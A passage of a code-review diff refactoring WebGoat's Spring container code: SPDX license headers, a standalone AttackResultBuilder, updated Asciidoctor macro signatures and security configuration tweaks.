this.resourceLoader = resourceLoader; this.resourceLoader = resourceLoader;

View File

@ -1,33 +1,6 @@
/** /*
* ************************************************************************************************ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
@ -40,7 +13,6 @@ import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.container.i18n.Language; import org.owasp.webgoat.container.i18n.Language;
import org.owasp.webgoat.container.i18n.Messages; import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.LessonScanner;
import org.owasp.webgoat.container.session.LabelDebugger; import org.owasp.webgoat.container.session.LabelDebugger;
import org.springframework.context.ApplicationContext; import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
@ -74,7 +46,7 @@ public class MvcConfiguration implements WebMvcConfigurer {
private static final String UTF8 = "UTF-8"; private static final String UTF8 = "UTF-8";
private final LessonScanner lessonScanner; private final LessonResourceScanner lessonScanner;
@Override @Override
public void addViewControllers(ViewControllerRegistry registry) { public void addViewControllers(ViewControllerRegistry registry) {

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2023 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;

View File

@ -1,62 +1,31 @@
/** /*
* ************************************************************************************************ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import java.io.File; import java.io.File;
import org.owasp.webgoat.container.session.UserSessionData; import org.owasp.webgoat.container.session.LessonSession;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.UserRepository;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.autoconfigure.domain.EntityScan;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.PropertySource; import org.springframework.context.annotation.PropertySource;
import org.springframework.context.annotation.Scope; import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode; import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
import org.springframework.security.oauth2.core.user.DefaultOAuth2User;
import org.springframework.web.client.RestTemplate; import org.springframework.web.client.RestTemplate;
@Configuration @Configuration
@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"}) @ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
@PropertySource("classpath:application-webgoat.properties") @PropertySource("classpath:application-webgoat.properties")
@EnableAutoConfiguration @EnableAutoConfiguration
@EnableJpaRepositories(basePackages = {"org.owasp.webgoat.container"})
@EntityScan(basePackages = "org.owasp.webgoat.container")
public class WebGoat { public class WebGoat {
@Autowired private UserRepository userRepository;
@Bean(name = "pluginTargetDirectory") @Bean(name = "pluginTargetDirectory")
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) { public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
return new File(webgoatHome); return new File(webgoatHome);
@ -64,21 +33,8 @@ public class WebGoat {
@Bean @Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public WebSession webSession() { public LessonSession userSessionData() {
WebGoatUser webGoatUser = null; return new LessonSession();
Object principal = SecurityContextHolder.getContext().getAuthentication().getPrincipal();
if (principal instanceof WebGoatUser) {
webGoatUser = (WebGoatUser) principal;
} else if (principal instanceof DefaultOAuth2User) {
webGoatUser = userRepository.findByUsername(((DefaultOAuth2User) principal).getName());
}
return new WebSession(webGoatUser);
}
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public UserSessionData userSessionData() {
return new UserSessionData("test", "data");
} }
@Bean @Bean

View File

@ -1,32 +1,6 @@
/** /*
* ************************************************************************************************ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, * SPDX-License-Identifier: GPL-2.0-or-later
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since December 12, 2015
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
@ -35,6 +9,7 @@ import org.owasp.webgoat.container.users.UserService;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration; import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
@ -57,7 +32,6 @@ public class WebSecurityConfig {
return http.authorizeHttpRequests( return http.authorizeHttpRequests(
auth -> auth ->
auth.requestMatchers( auth.requestMatchers(
"/",
"/favicon.ico", "/favicon.ico",
"/css/**", "/css/**",
"/images/**", "/images/**",
@ -65,7 +39,8 @@ public class WebSecurityConfig {
"fonts/**", "fonts/**",
"/plugins/**", "/plugins/**",
"/registration", "/registration",
"/register.mvc") "/register.mvc",
"/actuator/**")
.permitAll() .permitAll()
.anyRequest() .anyRequest()
.authenticated()) .authenticated())
@ -97,6 +72,7 @@ public class WebSecurityConfig {
} }
@Bean @Bean
@Primary
public UserDetailsService userDetailsServiceBean() { public UserDetailsService userDetailsServiceBean() {
return userDetailsService; return userDetailsService;
} }

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import org.springframework.beans.BeansException; import org.springframework.beans.BeansException;
@ -16,7 +20,7 @@ public class EnvironmentExposure implements ApplicationContextAware {
private static ApplicationContext context; private static ApplicationContext context;
public static Environment getEnv() { public static Environment getEnv() {
return (null != context) ? context.getEnvironment() : null; return null != context ? context.getEnvironment() : null;
} }
@Override @Override

View File

@ -1,7 +1,12 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.ContentNode; import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
public class OperatingSystemMacro extends InlineMacroProcessor { public class OperatingSystemMacro extends InlineMacroProcessor {
@ -15,7 +20,8 @@ public class OperatingSystemMacro extends InlineMacroProcessor {
} }
@Override @Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) { public PhraseNode process(
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var osName = System.getProperty("os.name"); var osName = System.getProperty("os.name");
// see // see

View File

@ -1,7 +1,12 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.ContentNode; import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
import org.owasp.webgoat.container.users.WebGoatUser; import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.security.core.context.SecurityContextHolder;
@ -17,7 +22,8 @@ public class UsernameMacro extends InlineMacroProcessor {
} }
@Override @Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) { public PhraseNode process(
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var auth = SecurityContextHolder.getContext().getAuthentication(); var auth = SecurityContextHolder.getContext().getAuthentication();
var username = "unknown"; var username = "unknown";
if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) { if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {

View File

@ -1,7 +1,12 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.ContentNode; import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
public class WebGoatTmpDirMacro extends InlineMacroProcessor { public class WebGoatTmpDirMacro extends InlineMacroProcessor {
@ -15,11 +20,12 @@ public class WebGoatTmpDirMacro extends InlineMacroProcessor {
} }
@Override @Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) { public PhraseNode process(
StructuralNode structuralNode, String target, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory"); var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
// see // see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(contentNode, "quoted", env); return createPhraseNode(structuralNode, "quoted", env);
} }
} }

View File

@ -1,7 +1,12 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.ContentNode; import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
public class WebGoatVersionMacro extends InlineMacroProcessor { public class WebGoatVersionMacro extends InlineMacroProcessor {
@ -15,7 +20,8 @@ public class WebGoatVersionMacro extends InlineMacroProcessor {
} }
@Override @Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) { public PhraseNode process(
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version"); var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
// see // see

View File

@ -1,12 +1,14 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import jakarta.servlet.http.HttpServletRequest;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.ContentNode; import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
/** /**
* Usage in asciidoc: * Usage in asciidoc:
@ -24,9 +26,10 @@ public class WebWolfMacro extends InlineMacroProcessor {
} }
@Override @Override
public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) { public PhraseNode process(
StructuralNode contentNode, String linkText, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv(); var env = EnvironmentExposure.getEnv();
var hostname = determineHost(env.getProperty("webwolf.port")); var hostname = env.getProperty("webwolf.url");
var target = (String) attributes.getOrDefault("target", "home"); var target = (String) attributes.getOrDefault("target", "home");
var href = hostname + "/" + target; var href = hostname + "/" + target;
@ -39,35 +42,10 @@ public class WebWolfMacro extends InlineMacroProcessor {
options.put("type", ":link"); options.put("type", ":link");
options.put("target", href); options.put("target", href);
attributes.put("window", "_blank"); attributes.put("window", "_blank");
return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert(); return createPhraseNode(contentNode, "anchor", linkText, attributes, options);
} }
private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) { private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
return attributes.values().stream().anyMatch(a -> a.equals("noLink")); return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
} }
/**
* Determine the host from the hostname and ports that were used. The purpose is to make it
* possible to use the application behind a reverse proxy. For instance in the docker
* compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
* indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
* www.webgoat.local www.webwolf.local
*/
private String determineHost(String port) {
HttpServletRequest request =
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
String host = request.getHeader("Host");
int semicolonIndex = host.indexOf(":");
if (semicolonIndex == -1 || host.endsWith(":80")) {
host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
} else {
host = host.substring(0, semicolonIndex);
host = host.concat(":").concat(port);
}
return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
}
protected boolean includeWebWolfContext() {
return true;
}
} }

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;
@ -17,9 +21,4 @@ public class WebWolfRootMacro extends WebWolfMacro {
public WebWolfRootMacro(String macroName, Map<String, Object> config) { public WebWolfRootMacro(String macroName, Map<String, Object> config) {
super(macroName, config); super(macroName, config);
} }
@Override
protected boolean includeWebWolfContext() {
return false;
}
} }

View File

@ -1,92 +1,7 @@
/* /*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* please see http://www.owasp.org/ * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.assignments; package org.owasp.webgoat.container.assignments;
import lombok.Getter; public interface AssignmentEndpoint {}
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.Initializeable;
import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.beans.factory.annotation.Autowired;
public abstract class AssignmentEndpoint implements Initializeable {
@Autowired private WebSession webSession;
@Autowired private UserSessionData userSessionData;
@Getter @Autowired private PluginMessages messages;
protected WebSession getWebSession() {
return webSession;
}
protected UserSessionData getUserSessionData() {
return userSessionData;
}
/**
* Convenience method for create a successful result:
*
* <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
*
* <p>Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson
* @param assignment
*/
protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
return AttackResult.builder(messages)
.lessonCompleted(true)
.attemptWasMade()
.feedback("assignment.solved")
.assignment(assignment);
}
/**
* Convenience method for create a failed result:
*
* <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
*
* <p>Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson
* @param assignment
*/
protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
return AttackResult.builder(messages)
.lessonCompleted(false)
.attemptWasMade()
.feedback("assignment.not.solved")
.assignment(assignment);
}
protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
}
@Override
public void initialize(WebGoatUser user) {}
}

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.assignments; package org.owasp.webgoat.container.assignments;
import java.lang.annotation.ElementType; import java.lang.annotation.ElementType;

View File

@ -1,19 +0,0 @@
package org.owasp.webgoat.container.assignments;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.web.bind.annotation.RequestMethod;
/** Created by nbaars on 1/14/17. */
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface AssignmentPath {
String[] path() default {};
RequestMethod[] method() default {};
String value() default "";
}

View File

@ -1,28 +1,7 @@
/* /*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, * SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
* please see http://www.owasp.org/ * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.assignments; package org.owasp.webgoat.container.assignments;
import static org.apache.commons.text.StringEscapeUtils.escapeJson; import static org.apache.commons.text.StringEscapeUtils.escapeJson;
@ -30,82 +9,18 @@ import static org.apache.commons.text.StringEscapeUtils.escapeJson;
import lombok.Getter; import lombok.Getter;
import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.i18n.PluginMessages;
@Getter
public class AttackResult { public class AttackResult {
public static class AttackResultBuilder { private final boolean lessonCompleted;
private final String feedback;
private Object[] feedbackArgs;
private final String output;
private Object[] outputArgs;
private final String assignment;
private final boolean attemptWasMade;
private boolean lessonCompleted; private AttackResult(
private PluginMessages messages;
private Object[] feedbackArgs;
private String feedbackResourceBundleKey;
private String output;
private Object[] outputArgs;
private AssignmentEndpoint assignment;
private boolean attemptWasMade = false;
public AttackResultBuilder(PluginMessages messages) {
this.messages = messages;
}
public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {
this.lessonCompleted = lessonCompleted;
this.feedbackResourceBundleKey = "lesson.completed";
return this;
}
public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {
this.lessonCompleted = lessonCompleted;
this.feedbackResourceBundleKey = resourceBundleKey;
return this;
}
public AttackResultBuilder feedbackArgs(Object... args) {
this.feedbackArgs = args;
return this;
}
public AttackResultBuilder feedback(String resourceBundleKey) {
this.feedbackResourceBundleKey = resourceBundleKey;
return this;
}
public AttackResultBuilder output(String output) {
this.output = output;
return this;
}
public AttackResultBuilder outputArgs(Object... args) {
this.outputArgs = args;
return this;
}
public AttackResultBuilder attemptWasMade() {
this.attemptWasMade = true;
return this;
}
public AttackResult build() {
return new AttackResult(
lessonCompleted,
messages.getMessage(feedbackResourceBundleKey, feedbackArgs),
messages.getMessage(output, output, outputArgs),
assignment.getClass().getSimpleName(),
attemptWasMade);
}
public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
this.assignment = assignment;
return this;
}
}
@Getter private boolean lessonCompleted;
@Getter private String feedback;
@Getter private String output;
@Getter private final String assignment;
@Getter private boolean attemptWasMade;
public AttackResult(
boolean lessonCompleted, boolean lessonCompleted,
String feedback, String feedback,
String output, String output,
@ -118,11 +33,33 @@ public class AttackResult {
this.attemptWasMade = attemptWasMade; this.attemptWasMade = attemptWasMade;
} }
public static AttackResultBuilder builder(PluginMessages messages) { public AttackResult(
return new AttackResultBuilder(messages); boolean lessonCompleted,
String feedback,
Object[] feedbackArgs,
String output,
Object[] outputArgs,
String assignment,
boolean attemptWasMade) {
this.lessonCompleted = lessonCompleted;
this.feedback = feedback;
this.feedbackArgs = feedbackArgs;
this.output = output;
this.outputArgs = outputArgs;
this.assignment = assignment;
this.attemptWasMade = attemptWasMade;
} }
public boolean assignmentSolved() { public boolean assignmentSolved() {
return lessonCompleted; return lessonCompleted;
} }
public AttackResult apply(PluginMessages pluginMessages) {
return new AttackResult(
lessonCompleted,
pluginMessages.getMessage(feedback, feedback, feedbackArgs),
pluginMessages.getMessage(output, output, outputArgs),
assignment,
attemptWasMade);
}
} }

View File

@ -0,0 +1,111 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.assignments;
import org.owasp.webgoat.container.i18n.PluginMessages;
public class AttackResultBuilder {
private boolean lessonCompleted;
private Object[] feedbackArgs;
private String feedbackResourceBundleKey;
private String output;
private Object[] outputArgs;
private AssignmentEndpoint assignment;
private boolean attemptWasMade = false;
public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {
this.lessonCompleted = lessonCompleted;
this.feedbackResourceBundleKey = "lesson.completed";
return this;
}
public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {
this.lessonCompleted = lessonCompleted;
this.feedbackResourceBundleKey = resourceBundleKey;
return this;
}
public AttackResultBuilder feedbackArgs(Object... args) {
this.feedbackArgs = args;
return this;
}
public AttackResultBuilder feedback(String resourceBundleKey) {
this.feedbackResourceBundleKey = resourceBundleKey;
return this;
}
public AttackResultBuilder output(String output) {
this.output = output;
return this;
}
public AttackResultBuilder outputArgs(Object... args) {
this.outputArgs = args;
return this;
}
public AttackResultBuilder attemptWasMade() {
this.attemptWasMade = true;
return this;
}
public AttackResult build() {
return new AttackResult(
lessonCompleted,
feedbackResourceBundleKey,
feedbackArgs,
output,
outputArgs,
assignment.getClass().getSimpleName(),
attemptWasMade);
}
public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
this.assignment = assignment;
return this;
}
/**
* Convenience method for create a successful result:
*
* <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
*
* <p>Of course, you can overwrite these values in a specific lesson
*
* @param assignment the assignment that was solved
* @return a builder for creating a result from a lesson
*/
public static AttackResultBuilder success(AssignmentEndpoint assignment) {
return new AttackResultBuilder()
.lessonCompleted(true)
.attemptWasMade()
.feedback("assignment.solved")
.assignment(assignment);
}
/**
* Convenience method for create a failed result:
*
* <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
*
* <p>Of course, you can overwrite these values in a specific lesson
*
* @param assignment the assignment that was not solved
* @return a builder for creating a result from a lesson
*/
public static AttackResultBuilder failed(AssignmentEndpoint assignment) {
return new AttackResultBuilder()
.lessonCompleted(false)
.attemptWasMade()
.feedback("assignment.not.solved")
.assignment(assignment);
}
public static AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
return new AttackResultBuilder().lessonCompleted(false).assignment(assignment);
}
}

View File

@ -0,0 +1,45 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.assignments;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.springframework.core.MethodParameter;
import org.springframework.http.MediaType;
import org.springframework.http.converter.HttpMessageConverter;
import org.springframework.http.server.ServerHttpRequest;
import org.springframework.http.server.ServerHttpResponse;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;
/** This class intercepts the response body and applies the plugin messages to the attack result. */
@RestControllerAdvice
public class AttackResultMessageResponseBodyAdvice implements ResponseBodyAdvice<Object> {
private final PluginMessages pluginMessages;
public AttackResultMessageResponseBodyAdvice(PluginMessages pluginMessages) {
this.pluginMessages = pluginMessages;
}
@Override
public boolean supports(
MethodParameter returnType, Class<? extends HttpMessageConverter<?>> converterType) {
return true;
}
@Override
public Object beforeBodyWrite(
Object body,
MethodParameter returnType,
MediaType selectedContentType,
Class<? extends HttpMessageConverter<?>> selectedConverterType,
ServerHttpRequest request,
ServerHttpResponse response) {
if (body instanceof AttackResult a) {
return a.apply(pluginMessages);
}
return body;
}
}

View File

@ -1,48 +1,33 @@
/* /*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* * SPDX-License-Identifier: GPL-2.0-or-later
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/ */
package org.owasp.webgoat.container.assignments; package org.owasp.webgoat.container.assignments;
import org.owasp.webgoat.container.session.WebSession; import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.users.UserTracker; import org.owasp.webgoat.container.session.Course;
